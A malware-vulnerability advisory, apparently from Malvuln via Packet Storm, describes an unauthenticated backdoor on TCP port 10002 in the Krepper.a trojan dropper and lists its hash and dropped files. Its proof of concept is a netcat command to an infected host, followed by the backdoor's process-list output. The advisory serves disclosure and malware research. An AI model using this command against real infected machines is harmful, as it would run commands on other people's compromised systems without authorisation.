Trojan-Dropper.Win32.Krepper.a Remote Command Execution ≈ Packet Storm

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ee699b4055c6199f9826681797d64f0b.txt
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Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Krepper.a
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 10002 and drops several executables under Windows dir. Third-party attackers who can reach infected systems can connect to port 10002 and run commands made available by the backdoor to retrieve information etc
Type: PE32
MD5: ee699b4055c6199f9826681797d64f0b
Vuln ID: MVID-2021-0260
Dropped files: svchost.exe, sysini.ini, msto32.dll, mserv.exe
Disclosure: 06/23/2021

Exploit/PoC:
nc64.exe x.x.x.x 10002
C:\WINDOWS
C:\WINDOWS\system32

PROC
[System Process]
System
smss.exe
csrss.exe
wininit.exe
csrss.exe
winlogon.exe
services.exe
lsass.exe
fontdrvhost.exe
fontdrvhost.exe
svchost.exe
svchost.exe
dwm.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
Memory Compression
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
spoolsv.exe
svchost.exe
WmiPrvSE.exe
dasHost.exe
svchost.exe
svchost.exe
etc...

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